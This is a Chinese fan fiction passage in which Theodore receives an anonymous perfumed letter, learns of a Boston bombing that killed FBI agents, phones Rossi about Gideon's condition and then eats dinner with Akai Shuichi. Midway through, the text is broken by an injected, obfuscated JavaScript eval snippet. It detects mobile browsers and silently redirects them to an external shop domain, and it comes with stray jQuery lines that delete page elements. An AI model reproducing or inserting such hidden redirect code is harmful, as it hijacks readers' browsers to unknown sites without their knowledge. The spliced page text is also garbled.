放学前狄奥多抽空去了传达室。那间狭小的房间在门卫室斜后方，窗户开着条细缝，冷风灌进去，桌上堆着几个还没分发的包裹和一打信件。
看门的老先生正在翻一本过期杂志，见狄奥多进来，翻了翻抽屉，抽出一个牛皮纸信封递给他。信封比普通的尺寸大一圈，纸质厚实，封口处压着一枚暗红色的火漆印。最让人侧目的，还是那火漆下竟然压着一朵完整的干花。
狄奥多接过来。信封上没有寄件人，没有回信地址，只在正中写着“狄奥多·克罗夫特收”几个字。字迹是印刷体，工整得完全看不见个人特征。他翻到正面，封口处封着那枚暗红色的火漆印，压着那朵压干的白色小花——花瓣薄得像纸，脉络清晰，看不出是什么品种。最让狄奥多惊异的是，信封居然散发着一股淡淡的香味，不是廉价香水那种甜腻，而是混合了某种木质调的气息，尾调有一点点甜。
他皱了皱眉，没在传达室拆。把信封夹进文件夹里，快步回到停车场。放学时间，草坪上三三两两坐着人，他穿过渐渐多起来的人流，把自己关在驾驶位上，才打开信。
狄奥多小心地划开信封侧边，保护好火漆和干花的完整性，然后从信封里倒出了一张硬质的卡片。摸起来几乎像是明信片的质感，翻到正面，没有抬头，没有落款。
信纸上只有一句话。
字迹和信封上的一样工整，工整而虚假：
你会是我的好学生。
狄奥多皱着眉又把信封上那朵花翻过来看了看，然后犹豫着凑近闻了闻信纸。香水味比信封上更明显，和花本身的干枯气息混在一起，有点古怪。
他把信纸和花塞回信封，放在车窗下的仪表台面上，往校园便利店走去。
冬日里寒风瑟瑟，狄奥多沿着校园的砖路往校门方向走，脑子里转着那行字——谁会把这种东西寄给他？
路过报刊亭时，他习惯性瞥了一眼挂在铁架上的报纸头条。然后他的脚步就停住了。
“波士顿爆炸案六名执法人员牺牲”
黑体字粗大而沉重，像一记闷锤。狄奥多站在报刊亭前，把那行单词读了两遍。他伸手拿了一份报纸，快速扫过正文——在潜入拆除时炸弹被犯人引爆，六名FBI探员不幸牺牲。没有名字，只有冰冷的数字和“执法过程中”这样的官方措辞。这样的大新闻报纸出得急，连讣告通知都还没来得及写上。
当然，这些内容都没有配图上，那张明显是匆忙拍摄的照片里基甸沉重严肃的表情让狄奥多不安。
那照片明显是爆炸发生前拍的，拍到了角落里基甸和SWAT成员讨论时的侧脸。
他就在那里。
狄奥多攥着报纸站了一会儿。
风把纸页吹得哗哗响。他又低头，完整地读了一遍整篇报道，一个字一个字地读，读到犯人贝尔已落网的时候小小地松了一口气；读到牺牲警员的名字时停了一下，又读了一遍。
基甸在那里，他在现场看着他们消失在爆炸里吗？
狄奥多不安极了。他拿出手机，翻到罗西的号码，拇指悬在拨出键上，又退回了主界面。
现在打合适吗？
也许他应该等回到公寓再说。也许应该先打个电话给基甸本人？不，他无从知晓基甸现在是否还在忙案子相关的事。打给罗西？如果基甸真的出了什么事，他或许不该从自己这里得知。
金发青年在报刊亭前呆坐了好一会儿。半晌，他冷静地把报纸叠好，站起身，往便利店的方向去了。
---
赤井秀一还没回来，公寓里安静得过分，连咖啡机运转的声音都听不见。狄奥多拿着书包径直回到了房间。他先拿出了那封用便利店袋子包好的怪信，看了几眼，把它锁进了书桌抽屉。
然后狄奥多在书桌前坐下，摊开了那份报纸。
他看了看手表——七点刚过，不算太晚。他深吸一口气，拿起手机，翻到通讯录里一个存了很久但从没拨过的号码。
大卫·罗西。
电话响了几声，接通了。
“罗西探员？我是狄奥多·克罗夫特。”狄奥多有些急迫地开口。
那头顿了一下。“狄奥多。我记得你。基甸也跟我提起过你。”罗西的声音听起来比记忆里沉了一点，“不用说‘探员’，我早就辞职了。倒是你，你现在还好吗？”
“我……”狄奥多卡了半秒，没有去回应罗西的问题，也没来得及思考“辞职”是什么情况，“我看到新闻了。波士顿的爆炸案，您知道吗？”
电话那头沉默了几秒。
“你也看到了。”
“基甸探员他——”
“他没事。”罗西说，语气中带着一点疲惫，“至少身体上没事。我去信问过了。”
狄奥多一下就明白了罗西的言外之意。果然男人略带意大利口音的下半句马上就来了：
“但我猜他这次恐怕不得不申请病休了。”
狄奥多安静地听着，手指扣紧了手机壳的边缘。
“哪怕他努力在我这个可怜的老朋友面前掩饰了……但我了解他。”罗西的语气中带着几分朋友关心的恼意，“他本来就一直在看医生。一直在治疗的双相情感障碍让他一直过着隐居的生活，加上这次的案件收场得如此惨烈……他的状态很差。”
“那……”狄奥多的急切终于溢出了嘴边。但罗西打断了了他。
“但，”罗西的语气加重了，不只是沉重，还有严厉，“他需要一些时间和空间。你现在最好别去看他，等他自己缓一缓。”
狄奥多觉得如鲠在喉。
“他……需要多久？”
“不知道。”罗西的声音很认真，“这种事情没有时间表，也不像外科手术有康复流程。你了解他，他不会想让我们看到他那个样子。”
狄奥多咬了咬下唇。“我知道了。”他控制着声音，“谢谢你，罗西先生。”
“狄奥多。”罗西叫住他，语气里有一种狄奥多不太熟悉的、冰冷的东西，像是叮嘱，更像是提醒，“你好好生活就是对我们最大的慰藉了。他要是想见你，会告诉你的。”
“你照顾好自己。”罗西说完，挂了电话。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579363|202170||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
狄奥多把手机放在桌上，低着头，视线茫然地落在半空中。
病休。
这个词组在他的脑海里反复拆解、重组。一个与各种变态罪犯战斗了半辈子的人，最终不是被罪犯击倒，而是被自己脑内的风暴击垮。他想起三年前那个在山下找到他的男人，那双沉稳的手，那句“你还能想起来什么事吗”。他想做些什么，可那个人现在需要的是安静，是距离，是他帮不上忙的、只能等待的东西。
门外传来钥匙转动的声音。
狄奥多无意识地抓起报纸推开卧室门，赤井秀一正在玄关换鞋。
听见门响，赤井秀一抬起头。
“回来了？”
“嗯。”狄奥多一时有点错乱，这话不该我来说吗？他看着黑发青年把背包放在玄关，下意识就应了声。然后这应声就被他肚子更大声的回应压了下去。
“咕噜噜”
“你吃过了吗？”
赤井秀一语气自然，仿佛只是无意中提起的嘘寒问暖，而不是面向场景中的新状况的针对性提问。但黑发下揶揄的表情把青年的戏谑暴露无遗。狄奥多沮丧地双手捂住了脸：
“我……煮意面吧。”
“呵。”
男人的笑声让狄奥多汗颜。
“正好我也没吃晚餐，一起吧。”
狄奥多愣了愣，看着赤井秀一径直走向冰箱：“实习很忙吗？”
明明是很平常的话题，赤井秀一拿着肉酱盒的动作却一顿，回答更是简短。
“嗯。”
狄奥多心里多出几分疑惑，却想着还是跳过这个话题好了。
诡异的沉默就这么蔓延了片刻。狄奥多走到岛台边站定，看着男人一样一样地往外拿东西——肉酱、意面、番茄、牛奶、芝士……
狄奥多看着他动作利落地打开了炉灶，忽然有种不合时宜的恍惚——几分钟前他还在电话里听罗西说基甸的事，沉重的死亡压得人喘不过气；现在厨房里有人在台前做着晚饭，一切普通得不像真的。
只是……
狄奥多看着冒出热气的锅。
红是不是故意把我和厨房隔开了？
虽然我这两个月烧穿了两个锅、叫响了五次烟雾报警器、融化了七个锅铲……但我做的东西还是能吃的啊。我的厨艺甚至还进步了！
狄奥多的思想还在大脑里负隅顽抗，但他的身体已经诚实地坐在了岛台前的高脚凳上：
“明天我会点好外卖的。你几点回来？”
甚至自觉过了头。
赤井秀一也非常自然地接受了外卖的提案：
“中餐吧。炖菜怎么样？重新加热比较方便。”
意面好的很快。赤井秀一端出两盘意面时，狄奥多还坐在那里发呆。
“吃。”赤井秀一把盘子放在狄奥多面前，拿着自己那份在狄奥多身旁坐下，拿起叉子。
狄奥多低头看了看那盘面。番茄酱的颜色很正，撒了一点干酪粉，旁边还有两颗对半切开的小番茄。赤井秀一做饭从来不讲究摆盘，今天这算超常发挥。